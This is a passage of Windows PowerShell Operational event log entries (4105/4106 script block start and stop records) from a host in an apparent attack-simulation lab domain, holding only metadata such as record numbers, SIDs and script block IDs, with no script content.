Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033573
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033572
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033571
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033570
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033554
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033553
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033552
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033548
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033547
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033536
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
